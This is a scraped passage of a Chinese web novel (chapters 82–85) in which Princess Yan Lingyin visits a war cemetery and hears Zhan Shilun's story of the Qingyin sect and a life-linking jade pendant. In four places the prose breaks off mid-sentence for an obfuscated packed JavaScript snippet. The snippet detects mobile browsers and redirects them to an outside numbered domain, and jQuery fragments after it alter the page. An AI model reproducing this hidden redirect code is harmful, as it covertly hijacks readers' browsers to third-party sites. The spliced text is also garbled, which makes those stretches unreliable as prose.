“那就更要抓紧了。北地形势不明,殿下孤身待在那里,终不是长久之计。” “江恪回,”周筠提醒他,“等我一纸诉状呈上去,京中可要变天了。” “怎么,”江渊然淡声道,“竹溪怕了吗?” 周筠忍不住磨牙:“原来你也知我会被波及,看你那洒脱样,还以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783666|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为是要我去邀功请赏呢。” “抱歉,”江渊然顿了顿,“我没想连累你。” “此事本就与我无涉,只是当了出头鸟,至多被陛下迁怒一番,”周筠留神看他的脸色,“但你不一样。事情一出,江家就会被推上风口浪尖,你有几条命敢这么耗?何况这就是个陈年旧案,太子死了,陛下即便伤过心,也都是过去的事了,他早就不欲提起。你要当着天下人的面把它翻过来,无论如何,都会惹怒陛下的。” 江渊然不再说话了。他大步往前走,显然无意继续这一话题。周筠腿短,追不上他,索性站在原地看他单薄的背影。“伤敌八百自损一千。你啊,”周筠抬手挡住被寒风吹得生痛的额头,苦笑道,“是真狠得下心。” * 夜深人静,蔚州的牢狱里响起了脚步声。来者显然对这里相当熟悉,走得轻巧迅速。两个蒙面人跟在他身后,一路都不发一言。 “这里。”来者停了步,对身后的两人道,“开门。” 沉重的铁锁像被撕破的烂纸,轻飘飘地掉了下来。那两人不待指示,已快步进了牢房,一人一边架起了瘫在地上的张无为。 来者走至他们身前,撑开张无为的眼皮看了看,冷笑一声:“真是命硬。” “大人,”张无为低声道,“是安大人吗?” 话音未落,来者已一口啐了出来:“你为一己私情坏了大人好事,还有脸寻求大人庇佑?你且看看,离开了安家,你能活上几天!” “我不曾,”张无为勉强摇头,嘴唇冻得哆嗦,“大人明鉴,我什么都没说。” “什么都没说?”来者似觉好笑,“那你倒是说说,刺伤你的人是谁?” 张无为舔了下干裂的唇:“我不知那人是谁……大人,大人!你且听我说完……但我知是谁将我囚在此处。是白家的人,是白松言那个失踪多年的妹妹!她武艺极高,大人若要成事,需得先除掉她。” “一个小丫头,值得你这样大惊小怪?”来者面色沉冷,“她既是白松言的妹妹,想来定然对你恨之入骨。只要将你留给她,让她复了仇,出掉一口恶气,不就行了?” 张无为牙齿打颤,几乎要咬掉舌头。他忽然阴恻恻地笑了两声,那厉鬼般的笑音回荡在牢房里,瘆人得厉害。来者后退半步,皱起了眉:“你还有什么话要说?” “小丫头?”张无为嗓音干哑,“你不要忘了,她姓白,白氏与谢氏互为姻亲,谢氏又与崔氏有结拜之谊,这三家休戚与共,同荣辱、共进退。你当她真的只想要我的命?那她早该杀我,何必把我关在这里?” 来者没应声,似在掂量这些话的分量。张无为脸上仍挂着笑,语气却越发狠毒:“安大人不是视崔氏为眼中钉吗?我有法子,叫崔氏自取灭亡。” 来者看他半晌:“什么法子?” “你道白氏女在查什么?”张无为强睁开浑浊的眼,逼视着面前的人,“她在查承观初年的那件事。她一介孤女,若无谢氏和崔氏在背后撑腰,怎么敢碰那样大的案子?” 张无为双目已半瞎,面容狰狞,语似疯癫:“他们都要阿洵死……我一个也不会放过。” 83. 墓田 九月初七,北地飘着细雨。天阴着,雨丝像一根一根的冰针,扎得人又麻又痛。这种糟心的天气里没人想出门,须得抱着火炉偎在榻上,再饮一壶滚热的、烫得上颚起皮的茶,才能把体内的阴寒劲压下去。 苏觅披衣伏案。他自晨起便没改换过姿势,就着一砚墨、一沓素笺疾笔如飞。手边的药汤冷了又热,热了又冷,阿承吃过苦头,不敢催,只在又一次替他续墨时轻声道:“公子写了一早上了,歇歇罢。” 常年吃药的人大多有“随性”的毛病,觉得自己比大夫还大夫,医嘱的诸般禁忌皆当了耳旁风。此时,阿承便眼睁睁看着苏觅搁了笔,端起药盏,将那本该分三次、每次间隔半个时辰服用的药汤一饮而尽。 药性至烈至寒,寻常壮年男子都难以忍受,遑论苏觅这个没有活气的病秧子。一盏药下去,他连指尖都泛了青,面色非但没变好,反而更显出恹恹的病气。案上散乱的纸笺被他归拢成几沓,最厚的那一堆递给了阿承:“派人送去宛京,他们知道该怎么做,越快越好。” 阿承躬身应了,苏觅又递给他第二份:“这个你亲自跑一趟,务必安全送它入蜀。往西的路不好走,你小心行事,活着回来见我。” 平日里苏觅是不会加最后那句的,阿承跟了他许久,深知他不是会无事关怀人的性格。他既然开了口,就说明这一路必是险象环生,而这封信也定然关系重大。 阿承双手接过,沉声道:“领命。” 此时苏觅面前还有十数张散乱的纸笺,他不急着收拾,只抬手示意阿承将灯烛挪近一点,就着被冻到瑟缩的黯淡火光,将纸笺一张一张地点着了。淋漓墨色沾了火,很快卷曲起来,散成了灰白的薄片。 阿承只觑了一眼,便觉眼皮猛跳,立时垂眸。那纸上的字迹瘦长好看,但因为凌乱地堆叠了许多层,无端显得狰狞起来。整张纸上没有第二个字,苏觅翻来覆去随手写下的,只是一个“音”字。 力透纸背,似是发泄,又似要刻入骨髓。 直到最后一张写满“音”的纸被烧干净,苏觅才悠悠开口:“殿下出门了吗?” “一个时辰前走的,”每日把公主的行程当头等大事汇报的阿承立刻应道,“我安排了人跟着,但白……姑娘和詹左使也在,他们二人都机敏,未必能让人近身。” “随他们去,”苏觅不在意地笑了一声,“等殿下回来,你给她透个消息,就说我昨夜便开始发病,卧床不起,快咽气了。” 阿承尽职尽责地道了声“是”,慢半拍地反应过来苏觅说了什么,不禁目瞪口呆地望向他。他主子脸不红心不跳,负手站起,真的踱步到床榻边,合衣躺下了。 “走前把炭盆熄了,”苏觅闭着眼,还不忘嘱咐他,“免得屋内太热。” 三匹马在城内疾奔,晏泠音打头,詹士伦和白行也一左一右紧随其后。白行也背上负着长刀,詹士伦却两手空空,并无武器傍身。他虽被从狱中放了出来,但一身囚服还未换下,手上套了镣铐,一副被押解的萧索样。 “就是上刑场,也不该挑这种晦气日子。”詹士伦像是冷得厉害,对近旁的白行也感慨道,“北地最难熬的就是这样的冻雨天,有什么大事非得今天出城?” 白行也的脸隐在斗笠下,半个眼神都懒得给他。昨夜蔚州牢狱被劫的消息传来后,她的心情就没好过,脸色比天气还阴沉。 晏泠音也戴着斗笠。雨中视线多少有些受阻,但她看得清晰,身侧民房倾圮,满地血污不及清洗,被雨冲褪了色,蔓延成暗红的花。战后的凄风苦雨里,唯有小儿的笑脸依旧灿烂,他们就在自家被焚的废墟上欢快追逐着,三五成群地嬉笑打闹,不知世上有战事,不知人间有离悲。 她一直看到胸口锥痛。 守城门的士兵认得留鹤,没有拦他们,三人出城后继续往西,逐渐靠近了泾州和蔚州的分野。陈桉接管蔚州州事后,对流匪严加管束,因而近来路上已不见匪寇闹事,清静许多。晏泠音在一处荒田边勒马,等着身后的两人追上。 荒田里土已焦黑,残留的麦秸皆被烧得干净,取而代之的是一个个隆起的坟冢。白行也跃下马后,脸色更难看了,她没什么要和人说话的意思,自顾自地牵了马去一旁啃草,拿背对着晏泠音。 詹士伦倒是走了过来,站在晏泠音身侧看着密密麻麻的荒坟,一时没有吭声。 晏泠音轻声道:“你认得他们吗?” “殿下这话怪瘆人的。”詹士伦平心静气道,“人走茶凉,都结束了,我从不惦记死人。” “你装得不像,居隐,”晏泠音摇头,“你心有执念,为此才会找上我。” 詹士伦咂了咂嘴,没生气,反而显得饶有兴致:“那殿下倒是猜猜,我的执念是什么?” 晏泠音抬眸看他,吐出三个字:“百花窟。” 那把山火放得相当潇洒,但詹士伦绝非冲动之人。就晏泠音探得的消息来看,早在火起之前,四面山路就被堵死了,没给山匪留逃跑的余地。这个人筹谋已久,却仍然选择了最高调也最残忍的方式,他与山匪有什么深仇大恨? 而若只是痛恨流匪,他又何必沉潜于幽国多年,何必在刺伤张无为后还要带走账册? 百花窟的根须扎在朝中。 晏泠音见他不应,继续说了下去:“那日你听到我同葛姑娘的对话,这才起了心思要留我一命。否则,我也会死于你纵的那场火中。你精于算计,连自己的徒弟和女儿都能拿来利用,遑论是尚未拿到实权的我。” 事涉葛茵和宋齐,晏泠音一时无法放软口气。詹士伦的嘴角抽动了一下,到底还是挂住了笑容:“可惜殿下只猜对了五六成。比如,葛茵不是我的女儿。” 晏泠音定定地看着他:“但她把你当成父亲。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788466|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 詹士伦矢口否认:“不可能,我只照顾了她半年,小孩忘性大,很快就不会记得了。” 他说得果断,像是已经打过腹稿,拿同样的话对自己说了无数遍,但他身侧的手却下意识攥紧了,青筋暴现。晏泠音收回视线,转头用目光将面前的坟冢缓慢抚了一遍,忽然开口:“三万。” 詹士伦皱眉:“什么?” “这里的坟,一共三万七千五百六十一处,”晏泠音清晰道,“有些士兵只剩下半截身躯,更有些找不到尸骨,只留下刻了名字的刀具,也都一并葬在了这里。” 雨中风冷,晏泠音的话更冷。她的声线本就清凌凌的,此刻没掺半分感情,像浸透了三冬的雪意。詹士伦在毒蛇窝一样的幽国王室待久了,自认下到阴曹地府也能面不改色,但听着晏泠音一字一顿报出那个数字时,他下意识缩了脖颈,好像有谁的手正搭在上面似的。 晏泠音没有说错,他装不像。他虽不是怕鬼的人,但梦中缺胳膊断腿的故人来来去去,也着实磨白了他的头发,给他添了点未老先衰的风霜之感。 “殿下千里迢迢赶来北地,”詹士伦意有所指道,“就是为了清点这些吗?” “谢将军两年前就开始这样做了,我只是帮他整理了部分名册,略尽绵薄之力而已。”晏泠音斗笠之下的脸被风吹得苍白,她仍未习惯北地的寒冷天气,“他们都有名有姓,比你我更该被后人记住。” 詹士伦只是笑。他没有点出晏泠音犯了错——说教是给小孩听的,不适合拿来打动他。可笑着笑着,他又无端咂摸出了一丝苍凉的味道。他看不出晏泠音身上有铁腕的血性,但她的敏感、执拗和耐性显然都超出常人。她本可以成为一个闲散宗室,若引导得当,甚至能当一位守成之君,但她偏偏被放在了日薄西山的梁国,被要求力挽狂澜,收拾早已千疮百孔的烂摊子。 十二卫的选择关乎国之大运,倒不是说得之便能得天下,那未免神化了这些血肉之躯的凡人,但有一点毋庸置疑,梁国的局势必将因他们而发生改变,且可能是天翻地覆的。一旦认主,无论“晏主”是贤是佞,是大罗神仙还是鬼怪妖魔,十二卫都将交托性命,全力以赴。 而在其中,他的决定又至关重要,因他守着一个炸药般的秘密。 是否要踏出这一步,只在他一念之间。 詹士伦抬眼,忽觉心口被刺了一下。原本遛马的白行也不知何时已下到了墓田中,端端正正地在一个坟包前坐下。她解下斗笠,端了壶酒,自己灌一口,再浇些在坟前,仿佛在与谁对饮。 万千坟冢寂寂无声,她一身黑衣独坐其中,几乎就要隐没了。仰头灌酒时,她面上毫无表情,唯有雨水横流。 “殿下,”詹士伦看了片刻,声音低了下来,“听我讲个故事罢。” “我有一位旧友,苏觅或许也向你提起过,她被唤作‘夫人’。” 84. 青隐 “当年我十七岁,父母双亡,流落蔚州,穷得叮当响,身边值钱的物什只有一柄长剑。我与一位富家小姐定了情,她愿意离家随我闯荡江湖,但为她的家人所阻,不得不嫁与旁人。我悲痛之下离开了北地,往南方散心,去到了当时的南国——如今的南疆。” “南国有无数奇花异草,风光瑰丽,亦藏了许多我从未听闻的江湖门派,各有各的逍遥。我一路游山玩水,逢到好客的武人,亦会与之切磋一番,就这样慢慢平复了心境。” “一日,我独自往深山中去,不慎为瘴气所迷,昏迷在地。醒来时,我见到一位白衣少女,她的面容为幕篱所掩,但仅看身段,亦可知其绝色姿容。我谢她相救,而她性格爽朗,对此不以为意,只要我陪她喝酒。酒过三巡,她自言久居山中百无聊赖,问我可有故事能听。” “我便将自己和那位小姐的事讲了出来,最后竟克制不住地嚎啕大哭。她较之我要豁达许多,只是不善言辞,不知如何安慰,就与我讲起了门派中的趣事,引得我渐渐泪止。她自称出身青隐楼,名字里有个‘青’字,我便唤她阿青姑娘。” 又是青隐楼。晏泠音心中一动:“这么说,楼中弟子的名字里,是否皆有‘青’字?” “确实如此。”詹士伦颔首,“听闻青隐楼每一位弟子都由楼主亲自赐名。它虽是南地武林中的大派,但因行事低调,从不招惹是非,声名也未往北传。” 南地武林确实不为中原人所知,其中各类关系盘结复杂,难以轻动。当年晏无怀将山字卫送往南地隐姓埋名,恐怕也是考虑到了这一点。 “后来呢?” “我与她相谈甚欢,一见如故,遂趁着酒兴结为异性兄妹,对着天地群山又各饮了三大碗,立誓永不相负。到底是年轻,”詹士伦自嘲一笑,“赌咒发誓,就如吃饭喝水一般稀松平常。” “我略读过南国的风俗志,”晏泠音轻声道,“南人重誓言,一旦许下,终身不悔,那位姑娘应该是认真的。” “我又何尝不是。”笑容从詹士伦的眼中褪去,化成一片郁色,让他看起来沧桑不少。 他走时,南国还是一片富庶和平,但其后不过两年,大片国土已被战火湮没。其时北地流匪已经冒头,詹士伦亦在为私事奔忙,未能得闲过问。等他抽出空来,去打探青隐楼的情况时,却得知整个门派都被屠戮,从楼主到弟子无一幸存。南国的江湖门派遭难的不少,但被残忍灭门的只有三家,青隐楼便是其中之一。詹士伦隐隐猜到,这三家若非沾了巫术,便是与南国王室有所牵扯,才让晏懿下此狠手。 “我那时被仇人追杀,自身难保,听闻此事亦只能暗暗叹息。青隐楼出事前,我与阿青一直有书信往来,至那时才断了音讯。但我没有想到,一日我收到了一封怪异的信,字迹难辨,用的不是墨,而是血。” 他迎着晏泠音惊讶的视线点了点头:“是阿青写给我的,一封血书。她问我是否还记得旧日誓约,是否还认她这个友人。她活了下来,我自是替她高兴,可她的语气亦让我毛骨悚然。她提到她已出家,找了一处清静的佛寺,准备在那里度过余生,看着梁国自取灭亡——殿下,你不必这样看着我,你道她是悲痛过度,或者被仇恨蒙蔽了双眼吗?那不是恨,或者说不只是恨,你无法理解,因你没有经历过。有些事比个人的身死惨痛百倍千倍,是最耻辱的驱逐和抹杀。无论你再活多久,这世上都不会有你的归处。” 他沉默了片刻。 “我当然还视她为友,但也是从那时起,我开始怀疑她是否还是她,或者说,是否还是我所认识的那个阿青。” “我们恢复了书信往来,她隐去真名,只让我唤她‘夫人’。我寄信去寺庙,她则寄给阿言……就是茵茵的母亲。”詹士伦的眼眸闪烁,“阿言已为人妇,为人母,但她还愿意见我,而我也还……还爱着她。” 说出那个字显然让他痛苦万分,晏泠音不欲在此事上多问,她挑开了话题:“驿站对民间私信排查很严,你们就没有被怀疑过?” “那是近几年的事,”詹士伦笑了笑,“杜尚书的文名惊动天下,只怕陛下就是因他而领教了笔杆子的厉害,这才开始严查。” 晏泠音抿紧了唇。 “而我同阿青的书信没等到那时就再次断了。她离开了寺庙,我也经历了阿言的死,万念俱灰。”詹士伦语气平静,只是嗓音有些颤抖,“在她给我的最后一封信里,她说帝玺或许就在北地,若我需要,可自行暗中探访。” 晏泠音下意识道:“帝玺?她怎么会……” “忘了和殿下说,”詹士伦将手探去腰间,似是想要抚剑,动作到一半才想起剑被扣了,“阿青见过我的剑,还特意摩挲过上面的度字刻纹,我当时就觉出奇怪,寻常江湖人士不会对一道暗纹这么在意,因而我试探着问过她,是‘送客逢春’里的哪一位,她却笑而不语。” “夫人”竟也是十二卫之一? 晏泠音的思绪忽然混乱。她对夫人所作的假设几乎全然被推翻。青隐楼,逐风阁,十二卫,三者在她眼前交缠出纷繁的线,令她无法看清。她问詹士伦:“后来呢?” “我那时于生已无恋,”詹士伦闭了闭眼,“阿言死得极惨,而我正因事逗留于外,回来时,连她的尸骨都没有看见。我手刃了仇人——我自以为手刃了仇人,我当时精神恍惚,怒填胸臆,根本不及细想。” 晏泠音思索着他的话,没有开口相催,詹士伦抿唇片刻,睁眼时已从情绪中抽离,只嗓音依旧沉闷:“再后来我为解苦痛,跳入了阿言屋后的河流。山匪折磨她时将她浸在水中,我得知道那是什么滋味。我水性不弱,因而入水前便吞了药,好让自己能昏昏沉沉地落下去。但正如殿下所见,我没有死,我被流水冲进了受生谷。” 晏泠音虽已猜到些许,却仍觉古怪:“这未免太过凑巧。” “天下事左不过一个巧字。”詹士伦不以为意,“我知道殿下忧虑,疑心有人在背后动手脚。但人算不如天算,我能进受生谷,应当在所有人意料之外。殿下可知我发现了什么?我遇到了上官越。” 传闻中修为深不可测的老阁主却露出疲弱之态,詹士伦看得出他已时日无多。他拖着病躯潜入谷中只为一事,毁掉受生谷南北两面的密道。 晏泠音无声地抽了口凉气。 “北面的岩壁藏有极其巧妙的机关,密道被打开后,能直接通入幽国境内,此前数年,逐风卫便是借此往返幽梁之间,以祭拜女帝。”詹士伦缓慢道,“殿下受困谷中时,或许也曾找寻过,北面的密道虽已无迹可寻,但南面堵住通道的巨石皆是上官越的手笔。” 晏泠音想不明白:“他为何要这样做?若他有心南下,这条密道堪为大用。” 詹士伦过了片刻才道:“我也问过他,而他答非所问,说至多不过二十年,天下将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799227|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变,他要为逐风阁留一条退路,亦是留一线生机。” 这话奇怪,两人一时都不再言语。半晌,晏泠音轻声开口:“他似乎很信任你。” “他知道我的身份,”詹士伦语气凝重,“他对十二卫了解甚深。他问我是否还愿意效忠梁帝——那位刚降世不久的女帝。” 晏泠音倏然抬眸。 “殿下是被选中之人。”詹士伦似乎对她的反应已有预料,说得不急不缓,“自殿下出生开始,就已是旁人计划中的一环。” 晏泠音沉声否认:“我只是我。” 詹士伦摇头。他面上带笑,口吻却相当冰冷:“你做不到。” 寒风呼啸,晏泠音汗湿了手心。她竟被这句话说得动摇了一瞬。她是自己决定走上这条路的——真是如此吗? 她出生在承观三年的秋天,彼时南疆已经平定,无数术师身死,江湖诸门皆寂,归心于晏氏朝廷。承观九年,她名望甚隆的皇长兄意外溺亡,皇嗣中能承继大统的惟余她和晏眆。承观十一年,她拜入杜慎门下,于东云台崭露头角,一时“闻郎”之名在京中无人不晓。承观十六年,东云台卷入巫蛊逆案,她不得已叛出师门,从此宛京便死了闻暄,连带着惠和公主也一并消沉。承观十九年,吕绍案发,她遇故人,访旧案,一步一步重召十二卫,继续着三年前、甚至是更久之前未能完成的一切。 她当然不后悔,但扪心自问,这是否仍旧是她的初心? “杜慎教了你什么?”詹士伦忽然出声,“他不是在教你为臣,而是在教你为君。殿下可还记得,最初是何人提点你奉他为师?” 晏泠音咬牙:“是我仰慕老师,自己求了父皇拜入东云台。” 詹士伦似觉惋惜,他目露怜悯,声音却寒凉砭骨:“教之成才,再毁而弃之。赠之以至亲至爱,再一并掠走。惑之以权势,迫之以责任,要其愧,要其悔,要其甘为天下身死而不求报偿,这就是殿下秉心奉持的道。你被养成了这样的人,你只能沿着这条路往下走,他们要你困守其中,永不得脱。” 晏泠音耳畔嗡的一声,胸中骤然翻腾,几欲呕吐出来。她冷汗已下,面色苍白,偏还紧咬着唇不露声色。 詹士伦观察着她,掂量着她,用着她早已熟悉的那种估价般的目光。晏泠音不能示弱,她迎着他的视线扬起脸,眸中是甚少流露的狠决,倒让詹士伦心下一惊。 “我被养成了这样的人?”晏泠音声音很轻,那种幽幽的尾音让詹士伦想起了苏觅,“你们自以为懂得我,猜到我会为情势所迫,会不得已做出违心甚至诛心之举,却不知我的心仍在这里,”她抬手点上胸口,指尖隔着衣料触到了玉玺,“我从未忘记我为何而来。” 她从未忘记为何要缩身为棋,为刃,为何要忍辱吞声。她甘愿沿着旁人铺好的路往前走,甘愿为人所用,但与此同时,她也在牵制着旁人。 觉醒了的棋子看着温良恭顺,但也能让弈者引火烧身。 “你问我老师教了我什么,”晏泠音注视着詹士伦,在他眼中看见了犹疑,“他不是教我为君,他是教我为人。你也是人,对吗?否则你不会纵身入水为她殉情,你我今日也不会并肩站在此地。” “居隐,”她眼睫纤长,掩着一泓极深却也极清的静水,“你还在试探我。你疑心重重,是因为你有所求,亦有所惧。但我也还是那句话,只要你信我,给我一把刀,我会帮你。” 85. 冰河 雨丝横斜,晏泠音发髻已湿。耳畔碎发纠缠成缕,半遮了她的眼,却依旧挡不住那清亮的眸光。 詹士伦退了半步,突兀地笑出了声。 “当时我告诉上官越,谁能帮我,我便认谁。什么恩情,什么道义,全是扯鬼的谎话,我不会听。”他看着晏泠音,眼中终于浮出些不一样的东西,“现在是我亲眼所见,你这样聪明,又这样蠢笨……殿下,比起苏觅,我更愿意选你。” 晏泠音微偏了头,好像听到了什么夸赞,说得真心实意:“多谢。” 詹士伦抹了把面上的雨水,收手时笑已消隐:“我跟着上官越去了幽国,答应替他照顾苏觅。我也在梁国凿下了暗钉,就是宋家的双生子。我自知首鼠两端算不得正人君子,但我也不悔,我得找到那个能担大任的人。” “居隐不必贬低自己,”晏泠音客气道,“你这些年来的苦心筹谋,举目两国皆无第二人能做到。但我仍觉奇怪,为什么要从我和他之中选?”她顿了顿,“或者说,‘萧徽文’,究竟是谁?” 她直觉这个名字不简单,早在她第一次听见时就已起疑。兰陵萧氏、汉城萧氏,皆是南地大族,但也都已败落,久已无人提起。苏觅想改换身份,行走京城,分明有许多更好的选择,为什么偏偏选了萧氏? 只是巧合吗? “我还不知,”詹士伦突然没头没尾道,“殿下是否看过廿九卷《南疆志》。” 晏泠音心中一动。她近来夜夜翻看想要找出些线索,也曾拿这件事向谢朗打探,却至今都无所获:“当年灵征志无故丢失,原来是居隐所为。” “浑水摸鱼,顺手捡回来了而已。”詹士伦摇了摇头,意味深长道,“真正想让它‘丢失’的另有其人。还望殿下珍重保管,唯它可解殿下之惑。” 他说一半藏一半,似是尚有顾忌,不愿直接挑明,晏泠音也不便勉强。她放远了目光,见白行也已经站起了身,抬臂松手,将喝空的酒壶砸碎在了坟前。 “最后还要请教居隐,”晏泠音将自己的斗笠扶正,“为什么要把我和苏觅送进受生谷?如你所言,既然出入谷中的南北密道皆已被封,你又是如何做到的?” 走水路入谷需要极好的水性,詹士伦一人便罢了,她同苏觅当时都昏迷未醒,只怕刚入水便会窒息。 “我先求殿下一件事,”詹士伦难得郑重,“当夜我算计了苏觅,他很可能因此而记恨我,日后若他要杀我——我想,只怕过了今日便会有逐风卫找上门来,我虽有自保之能,但若真到了万不得已之际,还望殿下能保我一命。” “我不会让逐风阁胡来,”晏泠音察觉到他话尚未完,“还有什么要说的,请居隐一并直言。” “我之所以冒险将他击昏,是因为若他清醒,不会放任殿下走到以命换命的地步。殿下在他心中有分量,这一点堪为筹码,但若处理不好,也能置殿下于死地。”詹士伦眼睛很尖,不知是不是看出了什么,旁敲侧击地提醒,“苏觅长在幽国王室,从小被至亲折磨,经历过殿下一辈子都想象不出的事,这才养成了那般冷血的性子。他擅伪装,外表人模人样,内里却是个极其危险的怪物,不可理解,不可感化,殿下绝不能心存侥幸。” 这些话直白得近于露骨,晏泠音只能点头:“我明白,多谢你。” 詹士伦见她脸色不好,放缓了语气:“我将丑话说在前面,是希望殿下有个心理准备。那日殿下和他都活着离开了受生谷,确实非我本愿。” 晏泠音倏然抬眸看他,而他对着她摊开手掌,试探道:“可否借殿下的玉佩一观?” 玉佩上的绳结红得刺目,詹士伦只看了一眼,叹息已溢出喉间:“多年前,阿青以祈福为名四处云游时,曾送出过两只一模一样的玉佩,分别落到了梁国和幽国的两个孩子手中。”他将玉佩递还给晏泠音,指腹拂过上面雕琢的花纹,“可巧,我见过留在幽国的那只。” 晏泠音反握住玉佩,声音有点发颤:“玉佩里有什么?” 若单是一块普普通通的玉佩,绝不值得“夫人”如此大费周折。 “我虽不通巫术,却也听过传言,知道制偶也好,下蛊也罢,凡是效力强大的术法都会用到玉器。”詹士伦压下声音,“以下只是我结合传言生出的猜测,殿下姑妄听之。玉佩上所刻是南地的嘉乐草,这种草两株相伴而生,互相吸食养分,从不独活。苏觅多病之身,却能一直活到今日,我想,或许是因为有你。” 晏泠音连手脚也冰凉。 “我听说这世上有某种术法,”詹士伦缓慢道,“能让两个特定的人性命相系,只要其中一个还活着,另一个便不会死。” 晏泠音攥紧玉佩,手指被硌得生疼:“……我亦曾听说,但它是上古秘术,早已失传。” 她心中乱作一片,胸口无端钝痛,却忽然想起了一件不相干的小事。那日京中亦下着冷雨,她与苏觅共乘一骑时,问他为何不怕死,而苏觅轻描淡写地笑道:“有人吊着我的命呢。” 彼时,她以为他说的是季问陶。 “蔚州那一夜,殿下不只是昏迷,实际上已鼻息全无,”詹士伦神色凝重,“那一位也是如此。因为逢到性命攸关之际,术法便会被催动,它虽能保命,但不会立刻见效,至少在一个时辰之内,你们都会形同死人,这就是为何我能送你们入谷。” 晏泠音嘴唇几乎不动:“为什么是受生谷?” “我一直在四处寻找,想找到解开术法的途经,毕竟相较于苏觅,殿下承受的风险显然要大得多。我相信这世上没有天衣无缝的东西,再强大的巫术也有隙可寻。”詹士伦语声转低,像是沉在回忆里喃喃自语,“最后我终于想起,之前和阿青闲聊之时,我们谈论过所谓‘生死’之道。我将此道化入了落梅阵中,而阿青同样以此道化入巫术。武学与巫术自有相通之处,我念念不忘的是肝肠寸断时所见的梅落之景,故以之为破阵要诀,而阿青念念不忘的是何物呢?” 青隐山下有河流。青隐楼被屠戮的那一年天生异象,从未结冻的河水冰封千里。 “我亦只是猜测,”詹士伦偏头去看晏泠音的脸色,“猜测极寒之水或能令巫术失效,再不济,此举也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804326|153898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将苏觅困在谷中,逐风阁未至,他独力难支,而殿下只要愿意,总是能逃出来的。” 他含蓄地掐掉了最后一句。若晏泠音连一个受生谷都出不了,自然也当不起“晏主”二字。 结果她救下了苏觅。 晏泠音只觉头一抽一抽地痛。詹士伦口口声声说这些都是猜测,可他既然敢开口,定然是真的发现了什么,不会信口胡言。玉佩是温敏赠给她的,而温敏一直笃信佛教,与京中僧侣也常有往来,她是如何拿到的这块玉佩,晏泠音并不知晓。 若那位“夫人”真的将手伸到了后宫之中,那温敏的处境,恐怕比晏泠音自己还要危险。 “你此前寄信去的那座寺庙叫什么?”晏泠音忽然问道。 “阿青早已离开,但若殿下一定要知道,”詹士伦眯起了眼,“是城南的金铭寺。” 白行也已经回身朝他们走来,歪戴着斗笠,长刀随意地提在手中。她走近前先打了声哨,难得礼貌了一回:“聊完了吗?” “今日多谢姑娘,”晏泠音将玉佩收入怀中,也将纷乱的心绪暂时压下,朝她微微欠身,“这么冷的天,还劳你陪我走一趟。” “真想谢我,就让魏收别总往我这儿跑了,”白行也点到即止,“那个人,我不会交给你们。” 晏泠音心中又是一动。即便过去了数月,夏樵客的事依旧梗在她心里。但白行也身份特殊,软硬都不吃,若她执意不放人,晏泠音也拿她没办法。 詹士伦很识眼色,垂了头没有多问。直到晏泠音上马离开,他才又看向白行也,悠悠道:“我见过你师父。” 白行也拽过马缰:“别以为套近乎我就会放了你。” 詹士伦被马尾扫了一脸水:“虽然你没大没小,但我到底虚长些岁数,于情于理都得提醒你,你练的功夫剑走偏锋,是容易走火入魔的,连你师父那样的人都败了,你又何必苦逼自己?来日方长,别太心急。” 白行也冷冷地看着他,詹士伦并无惧色,又轻声说了下去:“而且,你和崔氏女走得太近。季问陶收她作关门弟子,却不肯叫她继承十二卫的名号,你就没想过其中原因?这种高门大户养出来的姑娘心思极深,你莫要轻信。” 白行也忽然展颜。她生得烂漫天真,一笑之下,便真似个不知世故的小姑娘:“你再敢说她半句恶言,我就让你头颅落地。” 詹士伦闭了嘴。片刻,白行也忽然问他:“你是不是不想她活?” 她下巴微抬,点在晏泠音的背影上。詹士伦诧异地看了她一眼:“什么意思?” “你鬼扯时我听了几句,总觉得是些不着调的瞎话。”白行也目光很深,“你想利用她,你给她递刀是要她帮你开路,根本不在意她的死活。” 詹士伦在她明亮锐利的目光里窒了片刻,抬头望向灰蒙蒙的天际:“好稀奇,你又有什么立场来指责我?” 